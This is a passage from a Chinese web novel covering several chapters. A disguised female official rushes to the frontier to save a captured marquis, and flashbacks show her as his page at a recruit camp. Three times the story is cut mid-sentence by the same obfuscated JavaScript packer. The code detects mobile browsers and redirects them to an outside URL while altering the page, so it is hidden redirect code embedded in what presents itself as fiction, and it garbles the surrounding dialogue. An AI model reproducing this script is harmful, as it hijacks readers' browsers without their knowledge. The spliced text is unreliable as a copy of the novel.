初学清拍拍桑静榆肩膀,止住她的话,让吴长逸不要介意她夫人口无遮拦。 吴长逸身为武将,不曾去边境历练已是心中耻辱,如今又被前未婚妻这般训斥,顿觉羞愧难当。 本想以自己的本事定可护大家周全,总比初学清一个文臣强,可未想到一时意气,非但没显出自己的本领,反倒给大伙带来了麻烦,只好令大家退出树林,绕大路走。 由于队伍中一些人症状严重,他们今夜只得去最近的驿站休息。 连日赶路,洗漱多有不便,今日终于能在驿站休息,桑静榆要了两大桶水,要和初学清好好洗洗身上晦气。 吴长逸看着两人一齐进屋,想骂句不耻,又忍住收了声,顿觉自己没有资格。 关门前桑静榆还冲吴长逸嚷嚷了句:“吴将军也赶紧洗洗去吧,今日路过瘴气林,身上晦气过重,可不要病倒了拖累我们行程。” 吴长逸看着砰的一声紧闭的房门,持剑的手紧了紧,转身离去。 他去看了下大家的安顿情况,又检查了驿站的周围环境,还未及回房休息,他的属下拿来一封急报。 他看了以后,又折身回到初学清房门前,敲门道有急事。 初学清随意披了件外袍出来,接过急报迅速浏览,只见她的脸色一变,眉头紧皱,呼吸的频率都有些乱了。 初学清颤着嗓音问道:“这是何时的事?” 吴长逸答:“约莫是两日前,定远侯此番行事极为隐蔽,仅说是夜探敌营,方将军见他迟迟未归,而太子殿下又突然回来了,这才猜到定远侯意图,先通知了我们。” 初学清极力稳住心神,思索片刻,道:“此事紧急,我们必须连夜出发,至于患病的几人,可让他们在驿站养病,待好了再跟上。” 此时桑静榆也穿戴好了出来,她没看到初学清脸色,只对着吴长逸道:“吴将军是还没洗漱么,身上还是这个味道。” 吴长逸面色一窘,退后了几步道:“我安排大家赶紧收拾上路,初侍郎也抓紧时间吧。” 桑静榆满脸疑惑地看向初学清,初学清低语道:“定远侯只身入敌营,换回了太子殿下为质。我们需赶紧上路,和谈刻不容缓。” 裴霁曦对北狄而言,是一个难以逾越的铁墙,如今他以自己换太子平安,北狄才不关心大宁谁做天子,但是没了裴霁曦,他们的征战之路必会顺畅许多,这才同意了。 太子在敌营,北狄不敢对太子如何,毕竟是一国储君,可以换取更大利益。而裴霁曦一旦被俘,不说北狄对裴霁曦的敌意,就是建祯帝还肯不肯用赎回太子的决心赎回裴霁曦,也不一定。 何况裴霁曦不回来,也许对江山不利,但却能换来天子的安心。 他们如果加紧上路,赶在圣意传回来前和谈,还有挽回的余地,一旦消息传入京中,裴霁曦也便没了活路。 此时初学清也顾不得万一被认出怎么办,一心只想着救出裴霁曦。 当初她逃离他身边,是知道这只是生离,却从未想过死别。 * 一行人连夜行路,本来两日的路程,生生一日便到了。 初学清没在邺清休息,将桑静榆安顿在邺清一间客栈,便和吴长逸去往北境望北关大营。 一踏入望北关大营,扑面而来混杂着黄土气息的寒意,一下子唤醒了初学清深埋在心底的记忆。 她按压住内心的不安与翻滚的记忆,先与吴长逸去拜见了太子。 太子虽然看着疲惫不堪,但表面也无甚伤痕,穿戴也算整齐,可见在北狄军营也没有收到什么苛待。 太子见初学清到来,惶惶不安道:“初侍郎,可一定要救出定远侯啊!都怪孤意气用事,竟着了北狄的道,连累定远侯身陷敌营,无论用什么方法,一定要定远侯平安回来啊!” 初学清内心对太子是有怨的,要不是太子,定远军铜墙铁壁也不会让北狄有可乘之机,可她面上不显,仍然镇定安抚太子:“太子殿下请放心,下官一定竭尽全力,除了相约商谈,我们还会派人先行打探敌营,确保定远侯安全。” 太子又对吴长逸道:“吴将军,你功夫好,你快去敌营救出定远侯,北狄人可巴不得定远侯死,一定要救出他啊!” 吴长逸道:“我等定会竭力救出定远侯。” 太子还是拽着初学清不断自责,叮嘱着她,初学清忍住翻涌的焦躁道:“太子殿下在敌营受苦,微臣便不打扰殿下休息了,先去与方将军商量对策。” “好、好,初侍郎,可全靠你了,三弟曾与我说过初侍郎办事牢靠,我也相信三弟眼光,一定要救出定远侯!”太子千叮万嘱才放他二人出去。 初学清和吴长逸在士兵带领下去到方若渊将军营帐,还未入营,便听见阵阵吵嚷声。士兵将帐帘撩起,他们迈入营帐,只见方若渊将军、严奇胜将军以及一干将领在营中争论。 众人见他二人入营,安静了一阵,初学清一开始便问他们确切的情形。 方若渊是个儒将,即使年近而立,仍然一副少年面庞,只是在重甲金盔下显得刚毅了些,却仍可见一丝温煦。他看着初学清,呆愣片刻才回道:“侯爷三日前带了一队人马进入敌营,我只当他要去营救太子殿下,却未想到他抱着交换人质的心思。” 严奇胜将军是个满脸胡子的莽汉,他不等方若渊说完便道:“他老子的,让我带五千精兵烧了敌营,我定远军可不是北狄小儿惹得起的!我活着,就是为了多杀几个北狄人!” 吴长逸没到过北境,此刻看到严奇胜如此莽撞,眉头微抬道:“严将军如此行事,只会多一队人变成俘虏罢了。” 严奇胜瞧不起这些京中的武将,嚷嚷道:“吴将军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665750|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又没对战过北狄,你咋知道我烧不了敌营?” 初学清忙从中调和:“严将军稍安勿躁,吴将军也只是行事谨慎,定远军的威名身为大宁子民皆知,但毕竟定远侯在北狄营中,我们做事要考虑定远侯的安危。” 严奇胜这才仔细看了看初学清,疑惑道:“我看初大人咋这么眼熟呢?” 初学清岔开话题问道:“北狄大营距此多远?” 方若渊答:“北狄大营在三十里外的阴山脚下。” “可知他们士兵人数?” “据斥候报,此番敌军有三万余人,但后续还会派人前来进攻,具体后续人马尚不得知。” 初学清迅速安排:“那劳烦方将军,今日就让人派往敌营送信,称大宁使臣来访。另外,在沿路上安插好人马,若明日和谈不顺,可能要采取非常手段。” 商谈了片刻细节,方若渊即按照初学清说的去安排。 初学清折身出帐,身旁走过一人,她能感到那人的目光定在自己身上良久,但是她仍视而不见径直走开。 她的余光能瞧见,那是裴霁曦原来的小厮,墨语,如今已在定远军中做了参将。 她知道此次出行,必会遇见诸多旧识。 景王在她临出行前,告知她关于身份的部署,景王早在给她办身份之时,就在户籍信息上写明,她有一胞妹于早年饥荒时走散,即使有人发现她的身份,也可用此借口。 * 此时,在北狄大营,关俘虏的帐子里,裴霁曦双手被吊,浑身布满鞭痕,身上的衣服已看不清原本的颜色,被血水浸透。 他的发丝凌乱,一些碎发遮住了面庞,可依稀能看出面部轮廓,双眸紧闭,干涸苍白的嘴唇上有许多裂口,虽然身上布满伤痕,可脸上却没有伤。 他身前不远的椅子上,坐着一个浓妆艳裹的女子,身着海棠红长裙,外套羊裘坎肩,头戴翻檐尖顶帽。 女子开口道:“裴将军真是铮铮铁骨,可这铁骨到了现在除了多受点罪又有什么用呢?你要知道,现在北狄皇位上的,可是我二哥萨力青,他和我大哥觉罗尔穆不同,觉罗尔穆被你打怕了,萨力青正要拿你立威。若不是我和二哥说要你做我的驸马,你以为你还能活到现在?” 这女子正是北狄公主,乌尤拉。战场上的肃杀女将是她,脱离战场,她便习惯艳妆示人。 裴霁曦没作任何反应,乌尤拉起身到他面前,一只手捉住裴霁曦的下巴,裴霁曦眉头下压,面露厌恶,扭脸挣脱她的手。 乌尤拉怒极,揪住裴霁曦衣领,道:“让你做我驸马是抬举你了,你以为我是想和你做夫妻?我是要报断发之仇!要不是看你长得还不错,又能借此举侮辱大宁,你连给我提鞋的资格都没有。” 裴霁曦啐了一口血水,正吐到乌尤拉身上,乌尤拉大怒,对身边手下呵道:“接着给我打!” 看着眼前受刑的人,乌尤拉想到了先前她曾在大宁营帐做俘虏的日子,彼时裴霁曦没有对她用刑。想到这里,她紧接着又补充道,“不许伤脸。” 裴霁曦又开始承受新的一轮鞭刑,身上的疼痛感已经麻木,每一下落在身上的鞭子,都在提醒他此刻的受辱。 他应该自戕以免受辱,可有一丝念头又总是钻进他的脑中,他仍没有找到她,就这样离开吗? 这些年,遍寻大宁南北奇女子,就是想找寻她的踪迹,哪怕不能让她回来,只知道她安危也可。 可她如消失了一般,再也不见,难道,真如别人所说,她已经香消玉殒? 那如此,自戕或许是他最好的选择。 那就允许他,临死前用力回忆,带着过往的记忆赴死。 18. 第 18 章 建祯十四年冬,十七岁的裴霁曦赴北境战场,带领五千精兵,放出假消息诱北狄进攻,于望北关东侧峡谷伏击北狄两万骑兵,借山势之便,利用滚石堵住峡谷出入口,来了个瓮中捉鳖。少年将军初展锋芒,风头较其父也不遑多让。 在望北关大捷之后,北狄已多日没有动作。裴霁曦的父亲定远侯裴康时令裴霁曦去潜云坳训练新兵,要在短时间内迅速补充兵力,以防北狄再有动作。 这日,他从望北关回到邺清侯府中休整,准备翌日便动身前往潜云坳。 初雪晴整理完他的行囊,也未离开房中,走到书桌旁,看裴霁曦仍在奋笔疾书,不忍打扰。 裴霁曦察觉到她有话要说,便停下手中的笔,问道:“何事?” 初雪晴试探道:“听闻潜云坳大营条件艰苦,军中都是糙汉,奴婢担忧轻风和墨语照顾不好世子。” 裴霁曦轻笑:“潜云坳和望北关一样,军中自是条件如此,无甚可担忧的。” 初雪晴眸光流转,知道裴霁曦是让她有话直说,犹豫道:“听闻世子此去是训练新兵,世子之前说过,奴婢若有心,日后可去明履营中历练,可奴婢至今武艺不精,能否跟着世子去潜云坳学习?不然之后见了舞阳将军,身无长物,怎的能入她眼呢?” 裴霁曦收起手边文书,慢条斯理道:“明履营多是女子,只是如今姑母在望北关前线,战时不方便带你过去,待此战告一段落,再带你去不迟。潜云坳新兵皆为男子,带着你多有不便。” 初雪晴立即回道:“奴婢可扮作男子,奴婢只有十四岁,扮个少年郎也看不出来的。” 裴霁曦打量她片刻,少女眸中微光闪烁,异常坚定,他无奈叹一声:“罢了,你若真想去,可要做好受苦的准备。” 初雪晴连忙点头:“奴婢不怕苦。” “在营中,不要自称奴婢,要称我。”裴霁曦叮嘱道。 初雪晴应是,便去收拾自己的行囊。 虽说冬夜寒凉,可初雪晴此时的心情让她觉得冬风都甚是凉爽,她来到大宁之后,从未有过如此前路清晰的时刻。 路上碰到轻风,告诉了他自己要去潜云坳的消息,轻风最不喜军营,此次初雪晴去了,他便不用去了,但他也担忧初雪晴女子身份会给世子带来麻烦,就叮嘱道:“虽说咱们定远军是招收女子的,可这期的新兵全是男子,你可别露了馅给世子惹麻烦啊!” “你放心,我只是提前适应下军营。”初雪晴信誓旦旦道。 “唉,话说这几年招收新兵,都没什么女子应征了。” 初雪晴惊诧道:“为何?” 轻风答:“前朝末年,战乱频发,有许多女子失了家人庇护,走投无路投奔明履营,现如今国泰民安,应征的女子自然就少了,像你这种一门心思入伍的才少见呢。” 一阵冷风吹过,挟着冬日的寒意,穿过初雪晴的身体,将她方才心中的快意都吹散了。 她掩住面上的失神,扯出一个笑容:“我是定远侯府出来的,自是不一样。” * 潜云坳处于邺清东部阴山山脉脚下,由于地势复杂,虽处大宁北狄边境线,但鲜有战事。 裴霁曦把初雪晴安在他营帐旁边的小帐内,对外说是自己的小厮,墨语因要跟着新兵一起训练,另有营帐。 定远军大部分将领都在望北关,只有一个将军严奇胜以及副将方若渊随裴霁曦前往潜云坳。 今日是新兵第一日入营,正巧赶上潜云坳今冬的初雪。 虽说阴山山顶上早已白雪皑皑,连绵一片,但是山脚下的初雪还是带给新兵们一丝难掩的兴奋。 每个人带着保家卫国的决心入伍,揣着对未知的忐忑及期许,可终归是一群毫无经验的毛小子,面对初雪,还是有人忍不住吼叫几声。 初雪晴看着新兵脸上洋溢的兴奋,也同他们一样,心中燃起对新生活的向往。 入营的第一顿饭,初雪晴为裴霁曦准备好饭食,打算伺候他用完,自己再去新兵那里凑合一下。谁知裴霁曦坐在饭桌旁后,对初雪晴道:“你也一道坐下用饭吧。” 初雪晴忙道:“奴婢一会去营中和大家一起用饭就好。” “莫要自称奴婢,要称我。”裴霁曦纠正她,“你就在这里用饭,等我用完,营中也过了放饭时间。” 在府中的时候,初雪晴都是和丫鬟们一起用饭,老夫人不在的时候,裴霁曦偶尔会和墨语轻风一起,但从未和初雪晴一起用饭过。 裴霁曦唤人又送上了一份饭,初雪晴别扭地坐下,却仍未动筷。 裴霁曦和大家一样,用的也是简单的大锅菜和干粮,还有一晚稀粥,虽然和侯府用度没法比,但裴霁曦吃起来也泰然自若。 裴霁曦见她不动,笑道:“要我喂你不成?” 初雪晴忙摇头,这才拿起碗筷。 同桌而食,仿佛在身旁的,不是主子,而是……战友。 帐外初雪暂歇,缕缕阳光穿越云层,洒在绵延初雪之上,在冰寒的冬日里,留存一丝暖意。 * 裴霁曦安排几个参将初步对新兵进行划分,便和严奇胜、方若渊在营中商讨接下来的训练安排。 严奇胜年过而立,满脸络腮胡,加上黝黑的皮肤,简直像烧焦的黑草地,黑色的土地上全是焦黑杂草。 方若渊虽比裴霁曦大两岁,但是长相显小。他也是世家出身,才能二十岁就做到副将。 新兵操练毕竟涉及不到什么军事机密,裴霁曦也没有刻意避着初雪晴,便让初雪晴在旁伺候。 严奇胜不仅长相粗糙,嗓音也是粗糙的很:“我看先让这群新兵蛋子负重跑十圈,先学学什么是军令!” 方若渊则持反对意见:“严将军此举就操之过急了,一圈是二里多,十圈便要二十多里地,何况还要背上沙袋,这群新兵底子如何都不知道,还是要循序渐进。” 裴霁曦缓缓道:“二位觉得,要在三个月内将这群新兵训出样子,最重要的是什么?” 严奇胜不假思索道:“那当然是听话,只要能听话,指哪打哪,立马能扔到战场杀他几个来回。” 方若渊温声反驳:“严将军,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678614|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言差矣,若这群士兵只是这次打仗用,那便罢了,可他们毕竟已经加入定远军,也是要长期为国效力的,怎可只把他们当作一枚攻击的棋子呢?” 三人之中裴霁曦年龄最小,可他毕竟是定远侯独子,大家也都明白此次新兵训练,乃是定远侯为自家儿子出的第一道题,因此严奇胜和方若渊也都尊重裴霁曦,二人争论了几句,便齐齐看向裴霁曦。 裴霁曦丝毫没有在前辈面前班门弄斧的胆怯,只道:“他们刚刚入伍,只是听闻定远军的名头来到这里,其实连接下来做什么都不知。” 裴霁曦从面前的沙盘中抽出几个旗子,先插了第一个旗子,“首先,要让他们明白为什么来这里。” “当然是来打仗的,打跑北狄贼人。”严奇胜插嘴道。 “打仗只是手段,不是目的。”裴霁曦浅笑道,“他们还没有经历过战争的残酷,尚不知家国的意义。如果是冲着定远军的名号来的,就要知道定远军守卫的是什么。” 裴霁曦八岁便跟着定远侯在军营生活,自小便看惯了战争带来的生灵涂炭,厌恶打仗,但也知道必须要打仗。 方若渊点头赞同:“对,我们不能用自己的经历去看这群新兵,毕竟他们还是初出茅庐。” 裴霁曦在沙盘中插上第二个旗子,继续道:“为了让他们知道为什么来这里,为什么有战争,就要让他们知道战争是什么。因此,我已让墨语找来尚在邺清的军中旧识,来为他们讲一讲。” “哪个旧识?”严奇胜疑惑道。 “是曾经参与过战争,伤残后无法继续打仗,如今被定远军安顿在邺清生活的老兵。”裴霁曦答。 方若渊问:“伤残到无法打仗的的地步,必是缺臂少腿的,这样的人来,不会吓到新兵吗?” “真正的战场,比这个更加残酷,只是看到这些就被吓到的人,不适合在定远军。”裴霁曦边答,边向沙盘中插上第三个旗子,“还有,让他们知道时间的紧迫性,我们要列明三个月内训练安排,每天训练第一句话,就是提醒他们,距离他们上战场还有多少天。” 裴霁曦拿出手中最后一个旗子,插上去,“最重要的,自然让他们知道如何保家卫国。当然,我们有定远军历来训练新兵的法子可以参考,但是又不能完全参考,因为我们只有三个月。” 初雪晴在旁听着,看着眼前摆弄旗子的少年,不知不觉面露欣赏。他能游刃有余地在比他年长的前辈面前侃侃而谈,毫不露怯,可能他从八岁入军营,就已经开始被迫成长。 “说了半天,和我说的完全不冲突呀,”严奇胜道,“先把他们操练够了,骑马、弓箭、长枪都挨个学一遍。” 初雪晴都忍不住想要反驳严奇胜了,这个将军,完全没有理解裴霁曦所说的时间紧迫性,她看向裴霁曦,希望裴霁曦赶紧说出反驳的话。 裴霁曦淡然一笑,感受到初雪晴的目光,冲她道:“冬……冬学,你来说说,看了一年兵书,你可有什么想法?” 初雪晴怔了怔,面前的三人,都是军中将领,而裴霁曦,竟把目光放到了她的身上。 19. 第 19 章 初雪晴未料到裴霁曦竟然问到了自己,看着方若渊和严奇胜探究的目光,思量片刻,便道:“严将军所说的操练,无非是想给新兵下马威,让他们知道军令的重要,但是,所有军规之下,更重要的,是军魂。” 方若渊此刻才注意到裴霁曦身旁这个小厮,调侃道:“怪不得觉得今日安静了许多,原来你没带轻风来,换了个小厮。你且说说,这个军魂,是什么?” “军魂,正是世子方才所言,为何来到这里的原因。不是因为定远军的名号,也不是因为打仗,而是要保家卫国,护一方安宁。” 初雪晴继续解释:“所有组织的根基,是要明确目的,以此为基石,横向上,明确分工,步兵、骑兵、还是弓弩手,时间太短,必须迅速让他们有所侧重;纵向上,明确分层,通过考验,找出优秀的苗子,让他们负责管人。 “如此,他们便可自行管理,这么短的时间,不好再融入老兵,而这些新兵,经过三个月的相处,也能初步融合。” 她说完,连裴霁曦都诧异地看着她,裴霁曦只当初雪晴是一般聪明,未料她如此通透,一点就明,甚至想到的更加全面。 “那小冬学,你说说,怎么先分工呢?”严奇胜问道。 初雪晴答:“先解决能不能的问题,也就是初步的身体素质,究竟适合什么兵种。再解决好不好的问题,经过训练达到这个兵种的基本要求。最后也是最重要的,是长不长的问题,能不能融入所属队伍的氛围之中,长期奋战。” 初雪晴越说越清晰,忍不住拿了纸笔,画起了鱼骨图,向他们分析了下不同兵种的特点,以及这种特点需要什么样的人才。 这些都是她这一年来跟着裴霁曦,在兵书以及裴霁曦的笔记中学到的,又有韦先生的指导,结合她前世的知识经验,加以整合,便呈现了她笔下这幅鱼骨图所示的训练策略。 她言必,在场三人都沉默良久。 半晌,裴霁曦才道:“冬学,把你说的这些,写清楚一些,另外再列明详尽的计划,去吧。” 初雪晴浅笑应是,便折身去了自己帐子。 方若渊忍不住感叹:“真是强将手下无弱兵,连你的小厮都有当军师的潜质。” 严奇胜也没再反驳,拿起刚才初雪晴画的鱼骨图,笑了起来:“就是这字啊,鬼画符似的,这画的什么乱七八糟的,还不如我写得好呢!” 裴霁曦瞥向那张纸,也没忍住微弯唇角。他从严奇胜手中拿过鱼骨图,折好揣向怀中,宠溺笑道:“她才十四岁。” 裴霁曦走出中军大帐,到营地之中,看着正在训练的新兵。 北方的冬雪悄无声息地覆盖了大地,新兵们初步整理队伍,行军的脚步仍有些凌乱,踩在雪地上,印出错综的脚印。 暖阳悄现,雪白大地上映着黄色碎金般的阳光,暖化了战争之下那丝悲凉。 一切,都会越来越暖。 * 裴霁曦对初雪晴提报上来的训练日程略作修改,便让大家照此执行。初雪晴还在木板上详尽列出了每日训练内容,以及时间倒排,就挂在校场正中的演武台旁。 裴霁曦并未让她和新兵一起训练,只是对她道,以后可去明履营训练,那里全是女兵,更加有所侧重。 但却让她观察新兵训练,记录下比较出挑的新兵,并对他们的长处与短处略作分析,并每日向裴霁曦汇报,以备后用。 是日,裴霁曦所请的伤兵到了营中,裴霁曦让他们对着新兵讲一讲之前战场上的经历。 初雪晴刚到校场,就看到这些伤兵。 有的少了两只胳膊,空荡荡的袖子垂在身侧;有的被毁了容,面上都是烧伤的痕迹,可怖的疤痕下黑黝黝的眼睛格外突出;有的则没了腿,在轮椅上被人推着前行…… 但是他们并不怯懦,对着新兵讲述自己经历过的战争,甚至毫不避讳地展示着自己的伤口。 对于初雪晴而言,战争只是兵书上的概念,如今看着这些从战场上退下的伤兵,才窥见一斑。 如同这些新兵一般,初雪晴也深受震撼。没有什么比真切的伤痕更有说服力——这就是战争的后果。 她不喜征战,身体素质又不好,之所以说要去舞阳将军营中,也是因为女子在这世道,实在没几个好出路。 如今她才浅浅意识到,这个选择对她而言,意味着什么,而距离一个合格的士兵她又差着什么。 当夜,本应向裴霁曦汇报今日情况的她,心神不宁地汇报了几句,便要告退回帐。 裴霁曦见她意兴阑珊,便知今日的伤兵不仅触动到了新兵,也触动到了她。 他叫住了初雪晴,道:“随我出去走走。” 新兵不得随意出营,可有裴霁曦带着,初雪晴在来到潜云坳之后,第一次出营。 冬夜的阴山脚下,阵阵凉风从领口袖口处钻进身体,初雪晴身上的棉袍抵不过深冬的寒意,却忍着没有抱怨。 出了营地,裴霁曦脱下狐裘,披在初雪晴身上。 初雪晴愣怔片刻,忙道:“世子,使不得,这样会冻坏您的。” “无妨,我不惧冷。” 不知为何,初雪晴从这句话里听到了温度。 裴霁曦带着她顺着一条小路往阴山上爬,在冬雪映衬下,夜晚也带着青色的光。两个身影一前一后慢慢向上,谁也没有说话,只有脚下咯吱咯吱的踩雪声,以及偶尔踩到树枝断裂的声音。 走到半山腰一个开阔的平台,裴霁曦停下了脚步。 从这里往下望,正好能看见营地的通明的火把,火光照亮站岗士兵的铠甲和枪刃,冷冽的微光闪烁着。 偶有巡防的士兵在营地走动,但并不影响营地的寂静。 “带你出来,就是让你跳出来看看军营。这就是军营的生活,枯燥无味,却惊心动魄。”裴霁曦的声音在寒夜中响起,带着少年特有的沙哑。 他望着前方的营地,缓声道:“我自八岁母亲离世后,就在军营中长大。十岁时,北狄来犯,两军交战之时,我逞强偷偷上了战场,被北狄抓了做人质。” 初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13691040|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪晴惊讶莫名,从未曾在别人口中听说过世子这段经历。 裴霁曦继续道:“即便我是独子,父亲也没有顾虑我的性命,继续厮杀着。若不是严奇胜将军带队从后方包抄,拼死救下了我,我早已葬身在那场战役之中。 从那以后,我就知道,战场上只有胜负,不能有惧怕,不能有犹豫,也不能有软肋。” 初雪晴看着他,眼前似乎浮现了一个孤单无助的小男孩,在嘶鸣的马蹄与刀枪的砍杀声中呼救,心中莫名发紧,想要去安抚这个男孩。 怪不得他一副少年老成的样子,他的经历,似乎一下抹杀一个人的少年心性,强逼着蹒跚学步的婴孩学会奔跑,那婴孩也就真的以为自己会跑了,装也要装着把孩童的无知掩去。 他转头看向初雪晴,“今日你见到的伤兵,甚至是幸运的,更多的人,都埋骨在了黄土之下。这般,你还想走这条路吗?” 初雪晴躲开裴霁曦的目光,良久,答道:“我不知道。” “你可以慢慢选择。”裴霁曦沉声道,“你于我有恩,我只是不想你走这么难的一条路。” 初雪晴口中喃喃道:“可别的还有什么路呢?” 在大宁,非军籍的女子,大多及笄就出嫁了,除了妓子和尼姑,二十必须婚配,否则还要被罚。也就是定远军开了女子军籍的先河,对军籍女子,倒没有强制婚嫁。 留给她的路,着实不多。 “学些手艺,嫁人生子,哪条路,都比这条路要简单。” “可女子的价值,就必须体现在嫁人生子之上吗?”初雪晴反问。 裴霁曦愣了一瞬,不想嫁人生子的女子他见过,姑姑手下好多女将,怕嫁人生子耽误军功,不嫁人的有,但都是被逼无奈,大多岁数大了,也会退役婚嫁。 可冬雪一个小小丫鬟,直接质疑此事,颇让人读不懂。 府中的丫鬟,安分守己的,大多不求上进,庸碌度日;心思活络的,勾引不了主子,也要找个靠谱的家仆。 但仿佛在冬雪的世界里,嫁人,从来不是一个必要的结果。 初雪晴没听到他的回答,继续道:“这一年,我跟着世子学到了很多东西,若最终归宿是嫁人,这些东西就都浪费了。” 裴霁曦回过神来,温声安抚道:“开卷有益,你学到的东西,或多或少都会影响你的抉择与前路。” 初雪晴低声道:“我现在,虽不知自己该走哪条路,但不想走大多数女子都走的路。” 裴霁曦看着眼前十四岁的小丫头,清秀的脸庞上明明还堆着稚嫩,自己竟然和她聊起了嫁人的话题,摇摇头道:“你还小,说这些为时尚早。年纪小,走错了路,也可以回头。” 初雪晴闻言,茫然中闪现一丝清明,缓缓点头,“对,不走,怎么知道会走错呢。” 她转头迎向裴霁曦的目光,声音舒缓却有力:“世子,谢谢。” 她的眸光中带着不同于一般女子的坚定与执着,裴霁曦竟一时看呆了进去,这目光太过刺眼,逼得他闪躲了眼神。 20. 第 20 章 自这日裴霁曦与初雪晴聊过以后,初雪晴便又全心投入到了每日的观察之中。结合她的记录,经与几位参将沟通,选出了各个兵种表现出类拔萃的几人,报与裴霁曦。 中军大帐之中,初雪晴报上了一份名单,“世子,这些人都可以重点培养。” 顿了顿,指着其中一个名字道:“表现最好的两个,一个叫何生,人缘极好,各方面也比较突出;另一个祈允,能力上比何生更胜一筹,但性子上,和谁都合不来。本来这样的人,还是安生做个士兵,可他的确文韬武略样样出色,可惜了。” 裴霁曦摇摇头,“不可惜,不能融入他人,也就无法领兵作战。” “要不,我找他聊聊。”初雪晴试探道。 裴霁曦诧异道:“聊什么?” “既然文武都可以习得,那性子也可以改。他若真有决心,从习惯改起,一个月,足以树立起一些交流的习惯,习惯树立了,性子自然也就慢慢改了。” 裴霁曦温声笑道:“那你试试。” * 午后的暖阳融化了地面的冰雪,初雪晴踩过泥泞的土地,前往校场。 正值士兵自由练习的时间。大多士兵三五成群有说有笑地练枪或是比武,其中有她看好的何生,正在教导别人如何耍刀。 她冲他们打了招呼,本想直接去找祁允,正在耍刀的郑大勇叫住了她:“冬学,你天天看我们练多没意思,来和我们比上一比呀!” 何生从兵器架上挑了一把刀,替她解围道:“大勇,你是不是手痒了,冬学才多大,你都要弱冠了,要比也和你岁数差不多的比,咱们来比试比试!” 初雪晴冲何生笑过,转而对郑大勇道:“你们之中谁觉得没什么信心了,就都来找我比试,保管你们找回信心!” 众人看她自谦,也都哄笑着,郑大勇不好意思地摸摸头,继续练武了。 她穿过人群,找到单独练枪的祈允。 “祁小哥,枪耍地这么好,怎么不去同别人一起练?”初雪晴面露微笑,试探问道。 祈允身材颀长,却略显清瘦,皮肤白润如玉,眉眼间却透着遥不可攀的疏离感。他见初雪晴过来,知道这是世子身边的人,但也没有特别热情,只淡淡回了句:“他们打不过我。” “他们打不过你,但你可以教他们。” “浪费时间。”祈允别过头去,不再理她。 初雪晴见他如此傲世轻物,便知为何他不合群。她换了个方式,轻声问道:“祁小哥几次考校都拔得头筹,是奔着做将军来的军营吧?” 祈允漫不经心回道:“自然是。” “可我看,祁小哥可当不了将军。” “何出此言?”祈允变了脸色,不悦问道。 初雪晴淡笑道:“将军是要领兵的,可连这些新兵都不理祁小哥,你又如何领的了其他老兵呢?无兵可用,怎么做将军。” 祈允有些不快道:“我将来要领的兵,自然比这些庸才要强得多。” 初雪晴听到他如此评价这些新兵,略有不喜,却未表现出来,只道:“连庸才都不服你,谁会听你的令?” 祈允微皱眉头,问她:“你到底想说什么?” “想问问你,敢不敢和我赌一下。” “赌什么?” 初雪晴缓缓道:“赌你能不能在三日内收服一个人。” 祈允轻哼一声,道:“一个,有什么难的。” “好,若你赢了,我便向世子给你讨赏。”顿了顿,初雪晴继续道,“若你输了,你可得听我的。” “赏就不必了,只是你没有机会赢。”祈允嗤笑道。 * 初雪晴激将成功,便回去和裴霁曦讲了这件事。 “若他赢了,你这个法子还管用吗?”裴霁曦问道。 初雪晴浅笑答:“他不好赢,凭他这个性子,我和他说了几句话,便感觉他太过恃才傲物,让人不适,其他人恐怕更不愿接触他。且就算他赢了,也算踏出交流的第一步,也不是坏事。” 裴霁曦从书桌上抽出几张纸,点头道:“你倒是驭人有术。”随后把这几张纸递给了她。 纸上是漂亮的簪花小楷,运笔圆润整齐,娟秀而不失挺拔。 裴霁曦道:“这是我今日写的字帖,你按照这个,练练字。” 初雪晴接过字帖,认真看着,道:“这倒不像世子平常的字。” “专门为你写的,适合女子练习。”裴霁曦轻笑一声,道:“你的字,连严将军都看不上,要知道,严将军可是出了名的胸无点墨。” 初雪晴赧然道:“平常看得多,写得少,是我疏忽了。” “无妨,多加练习就好。”说着他指了指身旁的窄几,“你就在这练,我好教你。” 初雪晴应是,做到窄几旁,将字帖摆到上方,提笔就在白纸上抄写。 裴霁曦见状,绕过书桌,到她身旁,指了指她握笔的手,“你这握笔的姿势都不对,五指执笔,要擫、押、钩、格、抵,中指这里,要勾住笔杆外侧。小指要紧贴无名指,不接触笔杆,懂了吗?” 初雪晴听的云里雾里,不得其法,手指凌乱的调整了一下。 裴霁曦见她听不明白,便上手调整她的手指,指尖轻触她的手指,调整她的握笔姿势。 可初雪晴从没用过正确的姿势写字,觉得别扭极了,刚调整完,没一会又乱了。 裴霁曦无奈,用手掌包住她的手,让她感受五指不同的力道。 